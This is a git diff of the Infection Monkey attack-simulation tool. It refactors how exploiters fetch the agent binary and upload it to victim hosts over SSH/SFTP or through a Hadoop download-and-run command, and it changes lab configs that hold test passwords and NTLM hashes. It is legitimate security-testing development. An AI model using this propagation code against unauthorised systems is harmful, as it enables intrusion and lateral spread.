diff --git a/CHANGELOG.md b/CHANGELOG.md
index b40f94bcf..9dda4c7f9 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -19,6 +19,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- The order and content of Monkey Island's initialization logging to give
clearer instructions to the user and avoid confusion. #1684
- The process list collection system info collector to now be a post-breach action. #1697
+- The "/api/monkey/download" endpoint to accept an OS and return a file. #1675
### Removed
- VSFTPD exploiter. #1533
@@ -48,6 +49,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- ShellShock exploiter. #1733
- ElasticGroovy exploiter. #1732
- T1082 attack technique report. #1754
+- 32-bit agents. #1675
### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545
@@ -57,6 +59,10 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
### Security
+- Change SSH exploiter so that it does not set the permissions of the agent
+ binary in /tmp on the target system to 777, as this could allow a malicious
+ actor with local access to escalate their privileges. #1750
+
## [1.13.0] - 2022-01-25
### Added
- A new exploiter that allows propagation via the Log4Shell vulnerability
diff --git a/build_scripts/common.sh b/build_scripts/common.sh
index 2f244fd51..abeef5f0d 100644
--- a/build_scripts/common.sh
+++ b/build_scripts/common.sh
@@ -42,9 +42,7 @@ download_monkey_agent_binaries() {
load_monkey_binary_config
mkdir -p "${island_binaries_path}" || handle_error
- curl -L -o "${island_binaries_path}/${LINUX_32_BINARY_NAME}" "${LINUX_32_BINARY_URL}"
curl -L -o "${island_binaries_path}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}"
- curl -L -o "${island_binaries_path}/${WINDOWS_32_BINARY_NAME}" "${WINDOWS_32_BINARY_URL}"
curl -L -o "${island_binaries_path}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}"
}
diff --git a/deployment_scripts/config b/deployment_scripts/config
index 9ef065ce9..2a0807ce0 100644
--- a/deployment_scripts/config
+++ b/deployment_scripts/config
@@ -25,15 +25,9 @@ get_latest_release() {
MONKEY_LATEST_RELEASE=$(get_latest_release "guardicore/monkey")
# Monkey binaries
-export LINUX_32_BINARY_NAME="monkey-linux-32"
-export LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-32"
-
export LINUX_64_BINARY_NAME="monkey-linux-64"
export LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64"
-export WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
-export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-32.exe"
-
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index e4dc7484b..2a647a328 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -12,12 +12,8 @@ $PYTHON_URL = "https://www.python.org/ftp/python/3.7.7/python-3.7.7-amd64.exe"
# Monkey binaries
-$LINUX_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-32"
-$LINUX_32_BINARY_PATH = "monkey-linux-32"
$LINUX_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-64"
$LINUX_64_BINARY_PATH = "monkey-linux-64"
-$WINDOWS_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-32.exe"
-$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
$WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe"
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 1826c4ffc..763bb9075 100755
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -93,7 +93,7 @@ log_message "Cloning files from git"
branch=${2:-"develop"}
log_message "Branch selected: ${branch}"
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
- git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
+ git clone --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
fi
# Create folders
@@ -161,20 +161,15 @@ agents=${3:-true}
if [ "$agents" = true ] ; then
log_message "Downloading binaries"
if exists wget; then
- wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
- wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
else
- curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-32 ${LINUX_32_BINARY_URL}
curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-64 ${LINUX_64_BINARY_URL}
- curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-32.exe ${WINDOWS_32_BINARY_URL}
curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-64.exe ${WINDOWS_64_BINARY_URL}
fi
fi
# Allow them to be executed
-chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
# If a user haven't installed mongo manually check if we can install it with our script
@@ -207,8 +202,7 @@ if ! exists npm; then
fi
pushd "$ISLAND_PATH/cc/ui" || handle_error
-npm install sass-loader node-sass webpack --save-dev
-npm update
+npm ci
log_message "Generating front end"
npm run dist
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index 22d228346..f5d313322 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -209,9 +209,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Adding binaries"
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
- $webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
- $webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
}
diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md
index f2e739f3a..94cf3acbe 100644
--- a/docs/content/development/setup-development-environment.md
+++ b/docs/content/development/setup-development-environment.md
@@ -16,7 +16,7 @@ The agent (which we sometimes refer to as the Infection Monkey) is a single Pyth
In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment.
-This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 32/64-bit Python versions.
+This means setting up an environment with Linux 64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 64-bit Python versions.
## The Monkey Island
diff --git a/docs/content/usage/getting-started.md b/docs/content/usage/getting-started.md
index 6572e7b24..b6a90e793 100644
--- a/docs/content/usage/getting-started.md
+++ b/docs/content/usage/getting-started.md
@@ -7,11 +7,14 @@ pre: " "
tags: ["usage"]
---
+
+
+
If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup).
## Using the Infection Monkey
-After deploying the Monkey Island in your environment, navigate to `https://:5000`.
+After deploying the Monkey Island in your environment, navigate to `https://:5000`.
### First-time login
diff --git a/envs/monkey_zoo/blackbox/config_templates/base_template.py b/envs/monkey_zoo/blackbox/config_templates/base_template.py
index dbc235cd7..5a1ce49a6 100644
--- a/envs/monkey_zoo/blackbox/config_templates/base_template.py
+++ b/envs/monkey_zoo/blackbox/config_templates/base_template.py
@@ -8,7 +8,7 @@ class BaseTemplate(ConfigTemplate):
"basic.exploiters.exploiter_classes": [],
"basic_network.scope.local_network_scan": False,
"basic_network.scope.depth": 1,
- "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
+ "internal.classes.finger_classes": ["HTTPFinger"],
"internal.monkey.system_info.system_info_collector_classes": [],
"monkey.post_breach.post_breach_actions": [],
"internal.general.keep_tunnel_open_time": 0,
diff --git a/envs/monkey_zoo/blackbox/config_templates/drupal.py b/envs/monkey_zoo/blackbox/config_templates/drupal.py
index 388a47a42..2eefd6337 100644
--- a/envs/monkey_zoo/blackbox/config_templates/drupal.py
+++ b/envs/monkey_zoo/blackbox/config_templates/drupal.py
@@ -9,7 +9,7 @@ class Drupal(ConfigTemplate):
config_values.update(
{
- "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
+ "internal.classes.finger_classes": ["HTTPFinger"],
"basic.exploiters.exploiter_classes": ["DrupalExploiter"],
"basic_network.scope.subnet_scan_list": ["10.2.2.28"],
"internal.network.tcp_scanner.HTTP_PORTS": [80],
diff --git a/envs/monkey_zoo/blackbox/config_templates/mssql.py b/envs/monkey_zoo/blackbox/config_templates/mssql.py
index 13d1c728e..403fc0060 100644
--- a/envs/monkey_zoo/blackbox/config_templates/mssql.py
+++ b/envs/monkey_zoo/blackbox/config_templates/mssql.py
@@ -10,7 +10,7 @@ class Mssql(ConfigTemplate):
config_values.update(
{
"basic.exploiters.exploiter_classes": ["MSSQLExploiter"],
- "internal.classes.finger_classes": ["PingScanner"],
+ "internal.classes.finger_classes": [],
"basic_network.scope.subnet_scan_list": ["10.2.2.16"],
"basic.credentials.exploit_password_list": [
"Password1!",
diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py
index a282b2a0a..95137d431 100644
--- a/envs/monkey_zoo/blackbox/config_templates/powershell.py
+++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py
@@ -21,7 +21,7 @@ class PowerShell(ConfigTemplate):
"basic.credentials.exploit_password_list": ["Passw0rd!"],
"basic_network.scope.depth": 2,
"basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"],
- "internal.classes.finger_classes": ["PingScanner"],
+ "internal.classes.finger_classes": [],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [],
"internal.exploits.exploit_ntlm_hash_list": [
diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py b/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py
index d6113dc15..99e4ce282 100644
--- a/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py
+++ b/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py
@@ -14,7 +14,7 @@ class PowerShellCredentialsReuse(ConfigTemplate):
"10.2.3.46",
],
"basic_network.scope.depth": 2,
- "internal.classes.finger_classes": ["PingScanner"],
+ "internal.classes.finger_classes": [],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [],
}
diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py
index 25003eb20..828d2da21 100644
--- a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py
+++ b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py
@@ -13,7 +13,7 @@ class SmbMimikatz(ConfigTemplate):
"basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"],
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
- "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
+ "internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [445],
"monkey.system_info.system_info_collector_classes": [
diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py
index 89a379d15..cd9fed272 100644
--- a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py
+++ b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py
@@ -13,7 +13,7 @@ class SmbPth(ConfigTemplate):
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
- "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
+ "internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [445],
"internal.classes.exploits.exploit_ntlm_hash_list": [
diff --git a/envs/monkey_zoo/blackbox/config_templates/ssh.py b/envs/monkey_zoo/blackbox/config_templates/ssh.py
index 8099e50a6..5a519d5d1 100644
--- a/envs/monkey_zoo/blackbox/config_templates/ssh.py
+++ b/envs/monkey_zoo/blackbox/config_templates/ssh.py
@@ -14,7 +14,7 @@ class Ssh(ConfigTemplate):
"basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"],
"basic_network.scope.depth": 2,
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
- "internal.classes.finger_classes": ["SSHFinger", "PingScanner"],
+ "internal.classes.finger_classes": ["SSHFinger"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [22],
}
diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py
index 15fb967d5..d2dd663f5 100644
--- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py
+++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py
@@ -28,7 +28,6 @@ class Tunneling(ConfigTemplate):
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
"internal.classes.finger_classes": [
"SSHFinger",
- "PingScanner",
"HTTPFinger",
"SMBFinger",
],
diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py
index 84e7f3f70..ff2078d72 100644
--- a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py
+++ b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py
@@ -13,7 +13,7 @@ class WmiPth(ConfigTemplate):
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
"basic.credentials.exploit_password_list": ["Password1!"],
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
- "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
+ "internal.classes.finger_classes": ["HTTPFinger"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [135],
"internal.exploits.exploit_ntlm_hash_list": [
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index 2da9d0529..aba333c5e 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -89,7 +89,6 @@ class Configuration(object):
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = "/bin/sh"
- dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
dropper_target_path_linux = "/tmp/monkey"
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index 5abb99fdb..90a7b6078 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -8,7 +8,6 @@ from urllib.parse import urljoin
import requests
from requests.exceptions import ConnectionError
-import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
@@ -259,22 +258,6 @@ class ControlClient(object):
ControlClient.load_control_config()
return not WormConfiguration.alive
- @staticmethod
- def download_monkey_exe(host):
- filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
- if filename is None:
- return None
- return ControlClient.download_monkey_exe_by_filename(filename, size)
-
- @staticmethod
- def download_monkey_exe_by_os(is_windows, is_32bit):
- filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
- ControlClient.spoof_host_os_info(is_windows, is_32bit)
- )
- if filename is None:
- return None
- return ControlClient.download_monkey_exe_by_filename(filename, size)
-
@staticmethod
def spoof_host_os_info(is_windows, is_32bit):
if is_windows:
@@ -292,70 +275,6 @@ class ControlClient(object):
return {"os": {"type": os, "machine": arch}}
- @staticmethod
- def download_monkey_exe_by_filename(filename, size):
- if not WormConfiguration.current_server:
- return None
- try:
- dest_file = monkeyfs.virtual_path(filename)
- if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
- return dest_file
- else:
- download = requests.get( # noqa: DUO123
- "https://%s/api/monkey/download/%s"
- % (WormConfiguration.current_server, filename),
- verify=False,
- proxies=ControlClient.proxies,
- timeout=MEDIUM_REQUEST_TIMEOUT,
- )
-
- with monkeyfs.open(dest_file, "wb") as file_obj:
- for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
- if chunk:
- file_obj.write(chunk)
- file_obj.flush()
- if size == monkeyfs.getsize(dest_file):
- return dest_file
-
- except Exception as exc:
- logger.warning(
- "Error connecting to control server %s: %s", WormConfiguration.current_server, exc
- )
-
- @staticmethod
- def get_monkey_exe_filename_and_size_by_host(host):
- return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
-
- @staticmethod
- def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
- if not WormConfiguration.current_server:
- return None, None
- try:
- reply = requests.post( # noqa: DUO123
- "https://%s/api/monkey/download" % (WormConfiguration.current_server,),
- data=json.dumps(host_dict),
- headers={"content-type": "application/json"},
- verify=False,
- proxies=ControlClient.proxies,
- timeout=LONG_REQUEST_TIMEOUT,
- )
- if 200 == reply.status_code:
- result_json = reply.json()
- filename = result_json.get("filename")
- if not filename:
- return None, None
- size = result_json.get("size")
- return filename, size
- else:
- return None, None
-
- except Exception as exc:
- logger.warning(
- "Error connecting to control server %s: %s", WormConfiguration.current_server, exc
- )
-
- return None, None
-
@staticmethod
def create_control_tunnel():
if not WormConfiguration.current_server:
diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
index b1a25d51f..f370e5fdd 100644
--- a/monkey/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -19,7 +19,6 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
- "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py
index b74dc3871..69924b61a 100644
--- a/monkey/infection_monkey/exploit/HostExploiter.py
+++ b/monkey/infection_monkey/exploit/HostExploiter.py
@@ -9,6 +9,8 @@ from infection_monkey.config import WormConfiguration
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
+from . import IAgentRepository
+
logger = logging.getLogger(__name__)
@@ -67,9 +69,16 @@ class HostExploiter:
)
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
- def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
+ def exploit_host(
+ self,
+ host,
+ telemetry_messenger: ITelemetryMessenger,
+ agent_repository: IAgentRepository,
+ options: Dict,
+ ):
self.host = host
self.telemetry_messenger = telemetry_messenger
+ self.agent_repository = agent_repository
self.options = options
self.pre_exploit()
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 42d8d18bf..7e5733502 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -1 +1,3 @@
+from .i_agent_repository import IAgentRepository
+from .caching_agent_repository import CachingAgentRepository
from .exploiter_wrapper import ExploiterWrapper
diff --git a/monkey/infection_monkey/exploit/caching_agent_repository.py b/monkey/infection_monkey/exploit/caching_agent_repository.py
new file mode 100644
index 000000000..2e52990b9
--- /dev/null
+++ b/monkey/infection_monkey/exploit/caching_agent_repository.py
@@ -0,0 +1,37 @@
+import io
+from functools import lru_cache
+from typing import Mapping
+
+import requests
+
+from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
+
+from . import IAgentRepository
+
+
+class CachingAgentRepository(IAgentRepository):
+ """
+ CachingAgentRepository implements the IAgentRepository interface and downloads the requested
+ agent binary from the island on request. The agent binary is cached so that only one request is
+ actually sent to the island for each requested binary.
+ """
+
+ def __init__(self, island_url: str, proxies: Mapping[str, str]):
+ self._island_url = island_url
+ self._proxies = proxies
+
+ def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO:
+ return io.BytesIO(self._download_binary_from_island(os))
+
+ @lru_cache(maxsize=None)
+ def _download_binary_from_island(self, os: str) -> bytes:
+ response = requests.get( # noqa: DUO123
+ f"{self._island_url}/api/monkey/download/{os}",
+ verify=False,
+ proxies=self._proxies,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
+
+ response.raise_for_status()
+
+ return response.content
diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py
index 444c89b31..c621ecaea 100644
--- a/monkey/infection_monkey/exploit/exploiter_wrapper.py
+++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py
@@ -3,6 +3,7 @@ from typing import Dict, Type
from infection_monkey.model import VictimHost
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
+from . import IAgentRepository
from .HostExploiter import HostExploiter
@@ -16,17 +17,28 @@ class ExploiterWrapper:
class Inner:
def __init__(
- self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger
+ self,
+ exploit_class: Type[HostExploiter],
+ telemetry_messenger: ITelemetryMessenger,
+ agent_repository: IAgentRepository,
):
self._exploit_class = exploit_class
self._telemetry_messenger = telemetry_messenger
+ self._agent_repository = agent_repository
def exploit_host(self, host: VictimHost, options: Dict):
exploiter = self._exploit_class()
- return exploiter.exploit_host(host, self._telemetry_messenger, options)
+ return exploiter.exploit_host(
+ host, self._telemetry_messenger, self._agent_repository, options
+ )
- def __init__(self, telemetry_messenger: ITelemetryMessenger):
+ def __init__(
+ self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository
+ ):
self._telemetry_messenger = telemetry_messenger
+ self._agent_repository = agent_repository
def wrap(self, exploit_class: Type[HostExploiter]):
- return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger)
+ return ExploiterWrapper.Inner(
+ exploit_class, self._telemetry_messenger, self._agent_repository
+ )
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 5a3c29b65..69e5c601b 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE):
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return self.exploit_result
- paths = self.get_monkey_paths()
- if not paths:
- return self.exploit_result
- http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
try:
- command = self._build_command(paths["dest_path"], http_path)
+ dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
+ except KeyError:
+ return self.exploit_result
+
+ http_path, http_thread = HTTPTools.create_locked_transfer(
+ self.host, dropper_target_path, self.agent_repository
+ )
+
+ try:
+ command = self._build_command(dropper_target_path, http_path)
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command)
diff --git a/monkey/infection_monkey/exploit/i_agent_repository.py b/monkey/infection_monkey/exploit/i_agent_repository.py
new file mode 100644
index 000000000..f63ca4038
--- /dev/null
+++ b/monkey/infection_monkey/exploit/i_agent_repository.py
@@ -0,0 +1,21 @@
+import abc
+import io
+
+
+class IAgentRepository(metaclass=abc.ABCMeta):
+ """
+ IAgentRepository provides an interface for other components to access agent binaries. Notably,
+ this is used by exploiters during propagation to retrieve the appropriate agent binary so that
+ it can be uploaded to a victim and executed.
+ """
+
+ @abc.abstractmethod
+ def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO:
+ """
+ Retrieve the appropriate agent binary from the repository.
+ :param str os: The name of the operating system on which the agent binary will run
+ :param str architecture: Reserved
+ :return: A file-like object for the requested agent binary
+ :rtype: io.BytesIO
+ """
+ pass
diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py
index 6db20b6a4..324ed0495 100644
--- a/monkey/infection_monkey/exploit/powershell.py
+++ b/monkey/infection_monkey/exploit/powershell.py
@@ -2,7 +2,6 @@ import logging
import os
from typing import List, Optional
-import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32
from infection_monkey.exploit.HostExploiter import HostExploiter
@@ -22,7 +21,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
IPowerShellClient,
PowerShellClient,
)
-from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
+from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.environment import is_windows_os
@@ -186,11 +185,15 @@ class PowerShellExploiter(HostExploiter):
return is_monkey_copy_successful
def _write_virtual_file_to_local_path(self) -> None:
+ """
+ # TODO: monkeyfs has been removed. Fix this in issue #1740.
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
monkey_local_file.write(monkey_virtual_file.read())
+ """
+ pass
def _run_monkey_executable_on_victim(self, executable_path) -> None:
monkey_execution_command = build_monkey_execution_command(
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index 4cbfd1e5c..0192ae3ed 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -4,12 +4,11 @@ import time
import paramiko
-import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
-from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
+from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
@@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter):
_, stdout, _ = ssh.exec_command("uname -o")
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
- self.host.os["type"] = "linux"
self.exploit_result.os = "linux"
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
@@ -149,21 +147,9 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message)
return self.exploit_result
- if not self.host.os.get("machine"):
- try:
- _, stdout, _ = ssh.exec_command("uname -m")
- uname_machine = stdout.read().lower().strip().decode()
- if "" != uname_machine:
- self.host.os["machine"] = uname_machine
- except Exception as exc:
- self.exploit_result.error_message = (
- f"Error running uname machine command on victim {self.host}: ({exc})"
- )
- logger.error(self.exploit_result.error_message)
+ agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os)
- src_path = get_target_monkey(self.host)
-
- if not src_path:
+ if not agent_binary_file_object:
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
@@ -172,26 +158,17 @@ class SSHExploiter(HostExploiter):
return self.exploit_result
try:
- ftp = ssh.open_sftp()
-
- self._update_timestamp = time.time()
- with monkeyfs.open(src_path) as file_obj:
+ with ssh.open_sftp() as ftp:
+ self._update_timestamp = time.time()
ftp.putfo(
- file_obj,
+ agent_binary_file_object,
self.options["dropper_target_path_linux"],
- file_size=monkeyfs.getsize(src_path),
+ file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
- ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
- status = ScanStatus.USED
- self.telemetry_messenger.send_telemetry(
- T1222Telem(
- ScanStatus.USED,
- "chmod 0777 %s" % self.options["dropper_target_path_linux"],
- self.host,
- )
- )
- ftp.close()
+ self._set_executable_bit_on_agent_binary(ftp)
+
+ status = ScanStatus.USED
except Exception as exc:
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
@@ -201,7 +178,10 @@ class SSHExploiter(HostExploiter):
